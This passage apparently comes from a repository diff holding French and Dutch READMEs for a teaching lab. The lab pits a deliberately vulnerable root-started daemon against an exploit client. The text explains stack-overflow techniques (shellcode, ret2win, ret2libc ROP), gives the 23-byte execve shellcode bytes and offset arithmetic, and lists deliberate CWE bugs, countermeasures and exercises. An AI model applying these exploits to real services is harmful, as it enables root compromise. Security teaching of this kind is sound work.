## Démarrage rapide (ce que l'utilisateur a demandé)
|
||||||
|
|
||||||
|
```
|
||||||
|
cd wosuid
|
||||||
|
make # compile le démon, l'exploit et la harnesse de test
|
||||||
|
```
|
||||||
|
|
||||||
|
### Le vrai truc — exécutez le démon en tant que **root**
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo make run-root # démarre foowosd en uid 0 (processus, pas état de fichier)
|
||||||
|
make test-root # chaque technique doit maintenant donner uid=0(root)
|
||||||
|
```
|
||||||
|
|
||||||
|
### Pas de sudo ? Le chemin noyau identique via un user namespace
|
||||||
|
|
||||||
|
```
|
||||||
|
make run-root-ns # uid 0 dans un user namespace — aucun mot de passe requis
|
||||||
|
make test-root # mêmes verdicts ; utilisé par la CI et tous ceux sans sudo
|
||||||
|
```
|
||||||
|
|
||||||
|
### Référence — démon comme votre utilisateur normal (root nulle part)
|
||||||
|
|
||||||
|
```
|
||||||
|
make run # foowosd tourne avec vos uids
|
||||||
|
make test # les exploits atterrissent des shells, mais `root` est attendu MISSING
|
||||||
|
```
|
||||||
|
|
||||||
|
### Rituel de nettoyage (toujours : c'est un lab de shell root)
|
||||||
|
|
||||||
|
```
|
||||||
|
make stop
|
||||||
|
```
|
||||||
|
|
||||||
|
`foowosd` n'est *pas* setuid, et rien dans ce répertoire ne fait jamais
|
||||||
|
`chmod +s` — c'est le but. L'état dangereux est **le processus**, pas le
|
||||||
|
fichier.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Quand on vous dit de poser le bit SUID
|
||||||
|
|
||||||
|
Ça ne vous sera **pas** demandé. Ce lab n'a délibérément pas de bit SUID :
|
||||||
|
|
||||||
|
- `foowosd` est compilé, vous appartient et a des permissions ordinaires comme
|
||||||
|
n'importe quel programme.
|
||||||
|
- Il devient root comme les vrais démons — en étant *démarré* par root.
|
||||||
|
- `make run-root` utilise `sudo` pour exactement ça, et `make run-root-ns`
|
||||||
|
obtient un vrai processus uid 0 sans rien de tout cela.
|
||||||
|
|
||||||
|
Le bit Suid appartient au lab *frère* (`foosd`). Le contraste entre les deux
|
||||||
|
est le programme :
|
||||||
|
|
||||||
|
1. Lab SUID : le bit donne **euid 0, mais ruid 1000** → `execve("/bin/sh")`
|
||||||
|
est dégradé par le gardien de bash (`euid != ruid` → reset) → la shellcode
|
||||||
|
doit d'abord appeler `setreuid(0,0)` (payload de 32 octets).
|
||||||
|
2. Ce lab : root **démarre** le processus → **ruid == euid == 0** → le
|
||||||
|
gardien n'a rien à réinitialiser → la shellcode `execve` ordinaire de 23
|
||||||
|
octets garde root.
|
||||||
|
|
||||||
|
Même débordement. Même technique. *Origine* des privilèges différente, forme de
|
||||||
|
payload différente. C'est la leçon en miniature.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Le protocole
|
||||||
|
|
||||||
|
Quel que soit le type de client qui se connecte, foowosd le salue avec :
|
||||||
|
|
||||||
|
```
|
||||||
|
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (le banner + les fuites)
|
||||||
|
BUF=0x7ffd… (l'adresse du tampon)
|
||||||
|
```
|
||||||
|
|
||||||
|
`ids=euid/ruid` est le canal *« suis-je root ? »*. foowosc affiche un
|
||||||
|
avertissement sonore quand euid n'est pas 0 (c'est-à-dire que vous avez démarré
|
||||||
|
le démon en utilisateur ordinaire) : la payload atterrit quand même, mais le
|
||||||
|
shell devient un shell utilisateur, et appeler l'exploit « cassé » serait faux —
|
||||||
|
il n'escalade juste pas.
|
||||||
|
|
||||||
|
> Note d'orthographe : `ids=`, pas `euid=`/`ruid=`. La harnesse de test prouve
|
||||||
|
> un `id` vivant en matchant la forme littérale `uid=NNN(`, donc le banner ne
|
||||||
|
> doit jamais contenir une sous-chaîne qui satisfait elle-même le contrôle.
|
||||||
|
> (Dans le lab SUID, exactement ce piège a produit un spectaculaire faux
|
||||||
|
> positif.)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Les techniques d'exploit (`foowosc -t …`)
|
||||||
|
|
||||||
|
Les quatre chemins d'exploit ci-dessous fonctionnent contre foowosd. Quand le
|
||||||
|
démon est root, **tout ce qui spawn quelque chose donne root** — contrairement
|
||||||
|
au lab SUID où ret2win/ret2libc étaient silencieusement dégradés en uid 1000
|
||||||
|
par le gardien de bash. Ici, il n'y a pas de mismatch à surveiller.
|
||||||
|
|
||||||
|
| `-t` | ce qui se passe | quand le démon est root |
|
||||||
|
|---------------|---------------------------------------------------------------------|---------------------|
|
||||||
|
| `shellcode` | `execve("/bin/sh", NULL, NULL)` de 23 octets s'exécute sur la pile. | **shell root** (par défaut) |
|
||||||
|
| `ret2win` | saut vers `win()` → `execl("/bin/sh")` | **shell root** |
|
||||||
|
| `ret2libc` | ROP : `pop rdi; ret` → `"/bin/sh"` → `system()` | **shell root** |
|
||||||
|
| `demo` | débordement de bourrage uniquement — attendez un SIGSEGV dans le log | crash, par conception |
|
||||||
|
| `leak` | affiche juste les fuites, n'envoie pas de payload | n/a |
|
||||||
|
|
||||||
|
```
|
||||||
|
./foowosc -t shellcode # interactif ; cible par défaut 127.0.0.1:2344
|
||||||
|
./foowosc -t shellcode -n # envoyer et rapporter, pas de session interactive
|
||||||
|
```
|
||||||
|
|
||||||
|
Une session interactive réussie relaie votre terminal vers le shell *sur la
|
||||||
|
victime* — il y a exactement un shell dans le tableau, et c'est `/bin/sh` qui
|
||||||
|
tourne en root à l'intérieur de foowosd. Tapez `id` pour voir `uid=0(root)`.
|
||||||
|
|
||||||
|
### Pourquoi il n'y a pas de technique `ret2win-root` ici
|
||||||
|
|
||||||
|
foosc en avait une — elle sautait vers un `win_root()` qui appelait
|
||||||
|
`setreuid(0,0)` avant l'exec, parce qu'un processus setuid tournait avec un uid
|
||||||
|
réel qui disait encore 1000. Un processus *démarré* par root a déjà l'uid réel
|
||||||
|
à 0 ; il n'y a rien à nettoyer, donc la fonction et la technique supplémentaires
|
||||||
|
n'auraient rien appris. Supprimé.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Ce que fait foowosc, étape par étape
|
||||||
|
|
||||||
|
1. **Analyse statique** — `objdump -d` de `./foowosd`. Trouve
|
||||||
|
`vulnerable_handler`, `win()`, le `lea -0x50(%rbp)` qui adresse `buf`, et le
|
||||||
|
premier `ret` nu. À partir du décalage, il calcule `rip_off = 80 + 8 = 88`.
|
||||||
|
Rien n'est hardcodé ; ça survit à une recompilation.
|
||||||
|
2. **Auto-introspection** — lit son propre `/proc/self/maps` et `dlsym()`e
|
||||||
|
`system`/`read` pour apprendre les *offsets* de la libc. La base libc de la
|
||||||
|
cible est `leaked_read − off_read`, puis `system = base + off_system`, etc.
|
||||||
|
Cette arithmétique de delta est la raison pour laquelle les exploits
|
||||||
|
survivent aux versions de libc.
|
||||||
|
3. **Connecte** — lit le banner/les fuites (`ids=`, `stack=`, `libc=`, `BUF=`).
|
||||||
|
4. **Construit la payload** — pour `shellcode` : 23 octets de code machine, du
|
||||||
|
bourrage jusqu'à `rip_off`, puis la RIP sauvegardée = `buf` (pour que le
|
||||||
|
`ret` saute dans le code). Pour `ret2win`/`ret2libc` : des adresses
|
||||||
|
calculées depuis l'analyse — aucune exécution de pile nécessaire.
|
||||||
|
5. **Le correctif d'alignement** — un `ret` nu détourné donne au callee
|
||||||
|
`rsp ≡ 8 (mod 16)`, et le code SSE2 de glibc fault en `movaps` sur une pile
|
||||||
|
mal alignée (le crash-reporter journalise `si_addr=(nil)` — l'indice).
|
||||||
|
foowosc insère un gadget `ret` supplémentaire avant la vraie cible et
|
||||||
|
rétablit l'invariant. Une technique de gants de soie dans un lab de
|
||||||
|
shellcode, mais c'est la différence entre une payload qui « marche parfois »
|
||||||
|
et une qui marche toujours.
|
||||||
|
6. **Envoie, puis relaie** — le processus victime *est* le shell ; ce processus
|
||||||
|
ne fait que splisser des octets. Pas de shell local, pas d'autre lecteur —
|
||||||
|
le bug à curseur de lecture unique (un octet mangé par morceau) est
|
||||||
|
documenté dans `become_shell()`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Les bugs délibérés du démon (tous dans `foowosd.c`, toutes de vraies classes CWE)
|
||||||
|
|
||||||
|
| # | bug | CWE | note |
|
||||||
|
|---|-----|-----|------|
|
||||||
|
| 1 | `read(fd, buf, 512)` dans un tampon de pile de 64 octets | CWE-120 | le débordement : 448 octets au-delà de `buf`, RIP sauvegardée à +88 |
|
||||||
|
| 2 | seulement `snprintf(line, …, "%.*s", …)` ; mais `%` de l'attaquant dans le chemin d'echo | CWE-134 | la fuite est ici la vraie payload ; un `%n` dans un processus *root* serait un write-what-where en root |
|
||||||
|
| 3 | les enfants gardent root en traitant des entrées non fiables | CWE-271 | le `drop_privs()` correct (setgroups→setgid→setuid, dans cet ordre, avec vérification) est dans le fichier, commenté, *délibérément jamais appelé* |
|
||||||
|
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` révélés à n'importe quel client | CWE-200 | sans ces fuites, les techniques shellcode et ret2libc ne pourraient pas calculer d'adresses (ASLR les vaincrait) |
|
||||||
|
|
||||||
|
Le handler a exactement la même forme `buf[64]`/`read(512)` que les deux autres
|
||||||
|
labs, donc le pipeline commun de reconnaissance par objdump fonctionne sans
|
||||||
|
changement.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Comment inspecter le démon (parcours d'apprentissage)
|
||||||
|
|
||||||
|
```
|
||||||
|
make status # tourne-t-il ? en quel uid ? l'état du fichier est montré
|
||||||
|
make run-root # ou run / run-root-ns
|
||||||
|
./foowosc -t leak # voyez le banner et les fuites, n'envoyez rien
|
||||||
|
./foowosc -t demo # débordement de bourrage -> SIGSEGV, journalisé avec RIP/rsp
|
||||||
|
./foowosc -t shellcode # le shell root interactif
|
||||||
|
make test-root # matrice complète, toutes les techniques, --must-root
|
||||||
|
```
|
||||||
|
|
||||||
|
Crash-reporter : Au SIGSEGV, le démon journalise l'adresse d'erreur, RIP et
|
||||||
|
RSP. Un `ret` dans un `0x4141…` non canonique fault sur le `ret` lui-même (RIP
|
||||||
|
comme `0x4028xx`, `si_addr=(nil)`) — bon à savoir avant de lire une ligne de log
|
||||||
|
comme une déréférence NULL.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Pourquoi la shellcode fait 23 octets, pas 32
|
||||||
|
|
||||||
|
```
|
||||||
|
31 f6 xor esi, esi ; argv = NULL
|
||||||
|
31 d2 xor edx, edx ; envp = NULL
|
||||||
|
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
|
||||||
|
57 push rdi
|
||||||
|
48 89 e7 mov rdi, rsp
|
||||||
|
6a 3b push 0x3b ; 59 = execve
|
||||||
|
58 pop rax
|
||||||
|
0f 05 syscall
|
||||||
|
```
|
||||||
|
|
||||||
|
Le lab SUID a besoin de `setreuid(0,0)` devant ça. Pas ce lab, pour la raison
|
||||||
|
répétée partout : **ruid est déjà 0**, parce que root a démarré le processus.
|
||||||
|
`make verify` prouve que les octets dans `foowosc.c` sont, octet pour octet, ce
|
||||||
|
que `shellcode.S` assemble.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Contre-mesures — ce que `make hardened` change
|
||||||
|
|
||||||
|
Build durcie (`-fstack-protector-strong -fPIE -pie -z noexecstack`) :
|
||||||
|
|
||||||
|
| technique | `foowosd` vulnérable | `foowosd_hardened` durci |
|
||||||
|
|-----------|----------------------|------------------------------|
|
||||||
|
| `shellcode` | shell root (pile exécutable) | SIGSEGV au contrôle de canary / NX |
|
||||||
|
| `ret2win` / `ret2libc` | shell root | la canary abort le `ret` — mais notez : une build *PIE* rend aussi ces adresses aléatoires |
|
||||||
|
| `demo` | SIGSEGV, journalisé | SIGSEGV, journalisé |
|
||||||
|
|
||||||
|
`make test-hardened` le démontre en direct. L'observation importante n'est pas
|
||||||
|
seulement que les contre-mesures ont tué les techniques — c'est qu'elles n'ont
|
||||||
|
**pas** rendu le démon « non-root ». Une build durcie qui est toujours
|
||||||
|
*démarrée* en root reste un démon root ; la contre-mesure ne fait que relever la
|
||||||
|
barre pour l'attaquant. Moindre privilège (`drop_privs()`) et sécurité mémoire
|
||||||
|
sont deux bugs différents, et un démon qui n'a pas besoin de root ne devrait pas
|
||||||
|
en avoir.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Garde-fous (même politique que le lab SUID)
|
||||||
|
|
||||||
|
- **Loopback seulement.** foowosd refuse de se lier ailleurs qu'à `127.0.0.1` /
|
||||||
|
`localhost` / `::1`, sauf si vous donnez `-L`. Un démon root sur une vraie
|
||||||
|
interface est un *service root distant*. `-L` existe seulement pour montrer
|
||||||
|
le garde-fou ; ne l'utilisez pas sur quelque chose qui compte.
|
||||||
|
- **L'état est journalisé à voix haute.** Au démarrage, il affiche `ruid/euid`
|
||||||
|
et si c'est un processus root, pour que vous sachiez toujours quel résultat
|
||||||
|
d'exploit attendre.
|
||||||
|
- **Les verdicts viennent du code de sortie** dans `make test*` (code retour
|
||||||
|
de la harnesse pty), jamais d'un grep sur sa sortie — la sortie grepable
|
||||||
|
ment.
|
||||||
|
- **Le pty doit tourner en cooked + ECHO off**, sinon la harnesse s'échoit sa
|
||||||
|
propre ligne de commande et falsifie le marqueur. La harnesse désactive ECHO
|
||||||
|
et garde ECHONL actif.
|
||||||
|
- **Rituel de nettoyage :** `make stop` après chaque session. Si le démon
|
||||||
|
appartient à root, `stop` vous dit de lancer `sudo pkill -x foowosd`.
|
||||||
|
- Ne faites jamais tourner ça sur une machine à laquelle vous tenez. Ça existe
|
||||||
|
pour distribuer des shells `uid=0` sur l'interface loopback.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Exercices
|
||||||
|
|
||||||
|
1. Lancez `make run` (démon utilisateur), puis `./foowosc -t shellcode`.
|
||||||
|
Pourquoi le shell n'est-il pas root ? (Vérifiez `ids=` dans le banner —
|
||||||
|
foowosc vous le dit avant même que vous vous connectiez.)
|
||||||
|
2. `make stop && sudo make run-root && make test-root`. Expliquez à partir de
|
||||||
|
la ligne du banner pourquoi les quatre techniques donnent maintenant
|
||||||
|
`uid=0(root)`.
|
||||||
|
3. Trouvez `drop_privs()` dans `foowosd.c` et lisez *pourquoi l'ordre* de
|
||||||
|
`setgroups → setgid → setuid` compte. Décidez où dans `main()` il aurait sa
|
||||||
|
place, et ce que devient la surface d'attaque du lab quand il est
|
||||||
|
réellement appelé.
|
||||||
|
4. Calculez `rip_off` à la main depuis `objdump -d foowosd` : trouvez le
|
||||||
|
`lea -0xNN(%rbp)` de `buf` dans `vulnerable_handler`, puis `NN + 8`. foowosc
|
||||||
|
fait exactement ça ; vérifiez son calcul contre le vôtre.
|
||||||
|
5. `make hardened && make test-hardened`. Quelle technique tombe sur la canary,
|
||||||
|
et laquelle sur NX ? Pourquoi le durcissement ne change-t-il pas ce que
|
||||||
|
`make status` rapporte sur *le processus* ?
|
||||||
|
6. Comparez les shellcodes des deux labs : 23 octets ici, 32 pour foosd. Que
|
||||||
|
font les 9 octets supplémentaires, et pourquoi ne sont-ils nécessaires que
|
||||||
|
dans le cas SUID ?
|
||||||
|
7. Lisez le commentaire de `become_shell()` sur la curseur de lecture unique.
|
||||||
|
Reconstruisez mentalement l'état d'échec : deux lecteurs sur une socket,
|
||||||
|
c'est le shell de connexion qui mange un octet par morceau — « uid=1000… »
|
||||||
|
arrive comme « id=1000… ». Pourquoi un processus relay ne peut-il jamais
|
||||||
|
avoir ce bug ?
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Fichiers
|
||||||
|
|
||||||
|
```
|
||||||
|
foowosd.c le démon root vulnérable (chaque ligne commentée)
|
||||||
|
foowosc.c l'exploit (chaque ligne commentée)
|
||||||
|
shellcode.S l'assembleur de référence pour la payload de 23 octets
|
||||||
|
tests/pty_wosuid_test.c la harnesse pty (marqueur + contrôle strict de forme id)
|
||||||
|
Makefile build / run / run-root / run-root-ns / test /
|
||||||
|
test-root / verify / hardened / clean …
|
||||||
|
```
|
||||||
|
|
||||||
|
Labs frères : `../food.c`/`../fooc.c` (baseline user-level, port 2342) et
|
||||||
|
`../suid/` (démon root SUID `foosd`/`foosc`, port 2343). Les ports sont
|
||||||
|
délibérément différents — vous pouvez faire tourner les trois en même temps et
|
||||||
|
croiser leurs lignes `ids=` dans le banner.
|
||||||
311
wosuid/README.NL.md
Normal file
311
wosuid/README.NL.md
Normal file
|
|
@ -0,0 +1,311 @@
|
||||||
|
# Het `wosuid`-lab — root-RCE **zonder** setuid-bit
|
||||||
|
|
||||||
|
```
|
||||||
|
foowosd een bewust kwetsbare daemon die root is omdat hij als *GESTART* als
|
||||||
|
root (poort 2344, standaard alleen loopback)
|
||||||
|
foowosc het exploit: verandert een stack-overloop in een **root**-shell door
|
||||||
|
shellcode uit te voeren — dezelfde 23 bytes die de user-level-
|
||||||
|
`food`-daemon in het hoofdlab kraakten
|
||||||
|
```
|
||||||
|
|
||||||
|
Dit is het derde lab in de serie. Dezelfde exploit-werktuigketen, dezelfde stijl,
|
||||||
|
één fundamenteel verschil:
|
||||||
|
|
||||||
|
| Lab | hoe het doelproces root wordt | `uid=0(root)`-shell? |
|
||||||
|
|----------|------------------------------------------------|----------------------|
|
||||||
|
| food/fooc | nooit — het is een gewone user-daemon | nee |
|
||||||
|
| foosd/foosc | de SUID-bit (`chmod u+s`) — euid 0, ruid 1000 | ja (vereist `setreuid` in de shellcode, want bash reset euid→ruid) |
|
||||||
|
| **foowosd/foowosc** | **geen — root *start* de daemon** (sudo / systemd `User=root`) | **ja (gewone `execve`-shellcode)** |
|
||||||
|
|
||||||
|
De setuid-bit is een *transportmiddel* voor privileges — niet de privileges
|
||||||
|
zelf. Een daemon die door root is gestart, heeft reële, effectieve en
|
||||||
|
opgeslagen uid allemaal 0. Voor de kernel is dat root, punt uit; hij kan en wil
|
||||||
|
niet weten of het proces daar via `+s` op een bestand of via `sudo ./foowosd`
|
||||||
|
is gekomen. De overloop in een root-gestarte daemon is dus een root-exploit — *"ik
|
||||||
|
heb geen SUID-binaries" is niet hetzelfde als "ik ben niet exploiteerbaar".*
|
||||||
|
|
||||||
|
Dat is de hele les van dit lab. Al het andere hieronder is het mechanisme.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Snelle start (wat de gebruiker vroeg)
|
||||||
|
|
||||||
|
```
|
||||||
|
cd wosuid
|
||||||
|
make # bouwt de daemon, het exploit en de test-harness
|
||||||
|
```
|
||||||
|
|
||||||
|
### Het echte werk — draai de daemon als **root**
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo make run-root # start foowosd als uid 0 (proces, geen bestandstoestand)
|
||||||
|
make test-root # elke techniek moet nu uid=0(root) geven
|
||||||
|
```
|
||||||
|
|
||||||
|
### Geen sudo? Het identieke kernelpad via een user-namespace
|
||||||
|
|
||||||
|
```
|
||||||
|
make run-root-ns # uid 0 in een user-namespace — geen wachtwoord nodig
|
||||||
|
make test-root # dezelfde oordelen; gebruikt door CI en iedereen zonder sudo
|
||||||
|
```
|
||||||
|
|
||||||
|
### Baseline — daemon als je normale gebruiker (nergens root)
|
||||||
|
|
||||||
|
```
|
||||||
|
make run # foowosd draait met jouw uids
|
||||||
|
make test # exploits landen shells, maar `root` wordt verwacht als MISSING
|
||||||
|
```
|
||||||
|
|
||||||
|
### Opruimritueel (altijd: dit is een root-shell-lab)
|
||||||
|
|
||||||
|
```
|
||||||
|
make stop
|
||||||
|
```
|
||||||
|
|
||||||
|
`foowosd` is *niet* setuid, en niets in deze map doet ooit `chmod +s` — dat is
|
||||||
|
het punt. De gevaarlijke toestand is **het proces**, niet het bestand.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Wanneer je wordt gezegd de SUID-bit te zetten
|
||||||
|
|
||||||
|
Dat zul je **niet** worden. Dit lab heeft bewust geen SUID-bit:
|
||||||
|
|
||||||
|
- `foowosd` wordt gebouwd, is eigendom van jou en heeft gewone toestanden als
|
||||||
|
elk ander programma.
|
||||||
|
- Hij wordt root zoals echte daemons dat doen — door *gestart* te worden door
|
||||||
|
root.
|
||||||
|
- `make run-root` gebruikt `sudo` voor precies dat, en `make run-root-ns`
|
||||||
|
regelt een echte uid-0-proces zonder ook maar iets daarvan.
|
||||||
|
|
||||||
|
De Suid-bit hoort bij het *zuster*-lab (`foosd`). Het contrast tussen de twee
|
||||||
|
is de leerstof:
|
||||||
|
|
||||||
|
1. SUID-lab: de bit geeft **euid 0, maar ruid 1000** → `execve("/bin/sh")`
|
||||||
|
wordt gedegradeerd door de wacht van bash (`euid != ruid` → reset) → de
|
||||||
|
shellcode moet eerst `setreuid(0,0)` aanroepen (32-byte-payload).
|
||||||
|
2. Dit lab: root **start** het proces → **ruid == euid == 0** → de wacht heeft
|
||||||
|
niets om te resetten → de gewone 23-byte `execve`-shellcode houdt root.
|
||||||
|
|
||||||
|
Dezelfde overloop. Dezelfde techniek. Andere *oorsprong* van privileges, andere
|
||||||
|
payload-vorm. Dat is de les in het klein.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Het protocol
|
||||||
|
|
||||||
|
Welke client er ook verbindt, foowosd begroet hem met:
|
||||||
|
|
||||||
|
```
|
||||||
|
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (banner + leaks)
|
||||||
|
BUF=0x7ffd… (het bufferadres)
|
||||||
|
```
|
||||||
|
|
||||||
|
`ids=euid/ruid` is het *"ben ik root?"*-kanaal. foowosc print een luide
|
||||||
|
waarschuwing wanneer euid niet 0 is (dus je startte de daemon als gewone
|
||||||
|
gebruiker): de payload landt nog steeds, maar de shell wordt een
|
||||||
|
gebruiker-shell, en het exploit "kapot" noemen zou fout zijn — hij escaleert
|
||||||
|
alleen niet.
|
||||||
|
|
||||||
|
> Spellingsnoot: `ids=`, niet `euid=`/`ruid=`. De test-harness bewijst een
|
||||||
|
> levende `id` door de letterlijke vorm `uid=NNN(` te matchen, dus het banner
|
||||||
|
> mag nooit een deelstring bevatten die zelf aan de controle voldoet. (In het
|
||||||
|
> SUID-lab produceerde precies die val een spectaculaire fout-positief.)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## De exploit-technieken (`foowosc -t …`)
|
||||||
|
|
||||||
|
Alle vier de exploit-paden hieronder werken tegen foowosd. Wanneer de daemon
|
||||||
|
root is, geeft **alles dat iets spawnt root** — in tegenstelling tot het
|
||||||
|
SUID-lab, waar ret2win/ret2libc stilletjes door de wacht van bash naar uid 1000
|
||||||
|
werden gedegradeerd. Hier is er geen mismatch om te bewaken.
|
||||||
|
|
||||||
|
| `-t` | wat er gebeurt | wanneer de daemon root is |
|
||||||
|
|---------------|---------------------------------------------------------------------|---------------------|
|
||||||
|
| `shellcode` | 23-byte `execve("/bin/sh", NULL, NULL)` draait op de stack. | **root-shell** (standaard) |
|
||||||
|
| `ret2win` | sprong naar `win()` → `execl("/bin/sh")` | **root-shell** |
|
||||||
|
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **root-shell** |
|
||||||
|
| `demo` | alleen rommel-overloop — verwacht een SIGSEGV in de daemonlog | crash, volgens ontwerp |
|
||||||
|
| `leak` | print alleen leaks, stuurt geen payload | n.v.t. |
|
||||||
|
|
||||||
|
```
|
||||||
|
./foowosc -t shellcode # interactief; standaardtarget 127.0.0.1:2344
|
||||||
|
./foowosc -t shellcode -n # sturen en rapporteren, geen interactieve sessie
|
||||||
|
```
|
||||||
|
|
||||||
|
Een succesvolle interactieve sessie schakelt je terminal door naar de shell *op
|
||||||
|
het slachtoffer* — er is precies één shell in het beeld, en dat is `/bin/sh`
|
||||||
|
die als root binnenin foowosd draait. Typ `id` om `uid=0(root)` te zien.
|
||||||
|
|
||||||
|
### Waarom er hier geen `ret2win-root`-techniek is
|
||||||
|
|
||||||
|
foosc had er één — die sprong naar een `win_root()` die `setreuid(0,0)` aanriep
|
||||||
|
vóór exec, omdat een setuid-proces draaide met een reële uid die nog 1000 zei.
|
||||||
|
Een root-*gestart* proces heeft de reële uid al 0; er valt niets op te ruimen,
|
||||||
|
dus de extra functie en techniek zouden niets leren. Verwijderd.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Wat foowosc doet, stap voor stap
|
||||||
|
|
||||||
|
1. **Statische analyse** — `objdump -d` van `./foowosd`. Vindt
|
||||||
|
`vulnerable_handler`, `win()`, de `lea -0x50(%rbp)` die `buf` adresseert,
|
||||||
|
en de eerste kale `ret`. Uit de verplaatsing berekent het
|
||||||
|
`rip_off = 80 + 8 = 88`. Niets is hardcoded; het overleeft een herbouw.
|
||||||
|
2. **Zelf-introspectie** — leest zijn eigen `/proc/self/maps` en `dlsym()`t
|
||||||
|
`system`/`read` om de libc-*offsets* te leren. De libc-base van het
|
||||||
|
doelwit is `leaked_read − off_read`, daarna `system = base + off_system`,
|
||||||
|
enz. Die delta-rekenkunde is de reden dat exploits libc-versies overleven.
|
||||||
|
3. **Verbind** — leest het banner/leaks (`ids=`, `stack=`, `libc=`, `BUF=`).
|
||||||
|
4. **Bouw de payload** — voor `shellcode`: 23 bytes machinecode, padding tot
|
||||||
|
`rip_off`, daarna de opgeslagen RIP = `buf` (zodat de `ret` op de code
|
||||||
|
springt). Voor `ret2win`/`ret2libc`: adressen berekend uit de analyse —
|
||||||
|
geen stackuitvoering nodig.
|
||||||
|
5. **De uitlijnfix** — een gekaapte kale `ret` geeft de callee
|
||||||
|
`rsp ≡ 8 (mod 16)`, en glibc's SSE2-code faalt met `movaps` op een
|
||||||
|
niet-uitgelijnde stack (de crash-reporter logt `si_addr=(nil)` — de hint).
|
||||||
|
foowosc plaatst één extra `ret`-gadget vóór het echte doelwit en herstelt de
|
||||||
|
invariant. Een zijdenhandschoentechniek in een shellcode-lab, maar het is
|
||||||
|
het verschil tussen een payload die "soms werkt" en een die altijd werkt.
|
||||||
|
6. **Stuur, daarna schakel door** — het doelproces *is* de shell; dit proces
|
||||||
|
splist alleen bytes. Geen lokale shell, geen andere lezer — de
|
||||||
|
single-read-cursor-bug (één opgegeten byte per chunk) is gedocumenteerd in
|
||||||
|
`become_shell()`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## De bewuste bugs van de daemon (allemaal in `foowosd.c`, allemaal echte CWE-klassen)
|
||||||
|
|
||||||
|
| # | bug | CWE | notitie |
|
||||||
|
|---|-----|-----|------|
|
||||||
|
| 1 | `read(fd, buf, 512)` in een 64-byte stack-buffer | CWE-120 | de overloop: 448 bytes voorbij `buf`, opgeslagen RIP op +88 |
|
||||||
|
| 2 | alleen `snprintf(line, …, "%.*s", …)`; maar aanvaller-`%` in het echo-pad | CWE-134 | het lek is hier de echte payload; een `%n` in een *root*-proces zou write-what-where als root zijn |
|
||||||
|
| 3 | kinderen behouden root terwijl ze onbetrouwbare input afhandelen | CWE-271 | de correcte `drop_privs()` (setgroups→setgid→setuid, in die volgorde, met verificatie) staat in het bestand, gecommentarieerd, *bewust nooit aangeroepen* |
|
||||||
|
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` onthuld aan elke client | CWE-200 | zonder deze leaks konden de shellcode- en ret2libc-technieken geen adressen berekenen (ASLR zou ze verslaan) |
|
||||||
|
|
||||||
|
De handler heeft precies dezelfde `buf[64]`/`read(512)`-vorm als de twee andere
|
||||||
|
labs, dus de gedeelde objdump-gebaseerde herkenningspipeline werkt ongewijzigd.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Zo inspecteer je de daemon (leerpad)
|
||||||
|
|
||||||
|
```
|
||||||
|
make status # draait hij? als welke uid? bestandstoestand wordt getoond
|
||||||
|
make run-root # of run / run-root-ns
|
||||||
|
./foowosc -t leak # zie het banner en leaks, stuur niets
|
||||||
|
./foowosc -t demo # rommel-overloop -> SIGSEGV, gelogd met RIP/rsp
|
||||||
|
./foowosc -t shellcode # de interactieve root-shell
|
||||||
|
make test-root # volledige matrix, alle technieken, --must-root
|
||||||
|
```
|
||||||
|
|
||||||
|
Crash-reporter: Bij SIGSEGV logt de daemon het foutadres, RIP en RSP. Een `ret`
|
||||||
|
in een niet-canonieke `0x4141…` faalt bij de `ret` zelf (RIP als `0x4028xx`,
|
||||||
|
`si_addr=(nil)`) — goed om te weten vóór je een logregel als NULL-dereferentie
|
||||||
|
verkeerd leest.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Waarom de shellcode 23 bytes is, niet 32
|
||||||
|
|
||||||
|
```
|
||||||
|
31 f6 xor esi, esi ; argv = NULL
|
||||||
|
31 d2 xor edx, edx ; envp = NULL
|
||||||
|
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
|
||||||
|
57 push rdi
|
||||||
|
48 89 e7 mov rdi, rsp
|
||||||
|
6a 3b push 0x3b ; 59 = execve
|
||||||
|
58 pop rax
|
||||||
|
0f 05 syscall
|
||||||
|
```
|
||||||
|
|
||||||
|
Het SUID-lab heeft `setreuid(0,0)` vóór dit nodig. Dit lab niet, om de reden
|
||||||
|
die overal herhaald wordt: **ruid is al 0**, omdat root het proces startte.
|
||||||
|
`make verify` bewijst dat de bytes in `foowosc.c` byte-voor-byte zijn wat
|
||||||
|
`shellcode.S` assembleren tot.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Tegenmaatregelen — wat `make hardened` verandert
|
||||||
|
|
||||||
|
Geharde build (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
|
||||||
|
|
||||||
|
| techniek | kwetsbare `foowosd` | geharde `foowosd_hardened` |
|
||||||
|
|-----------|----------------------|------------------------------|
|
||||||
|
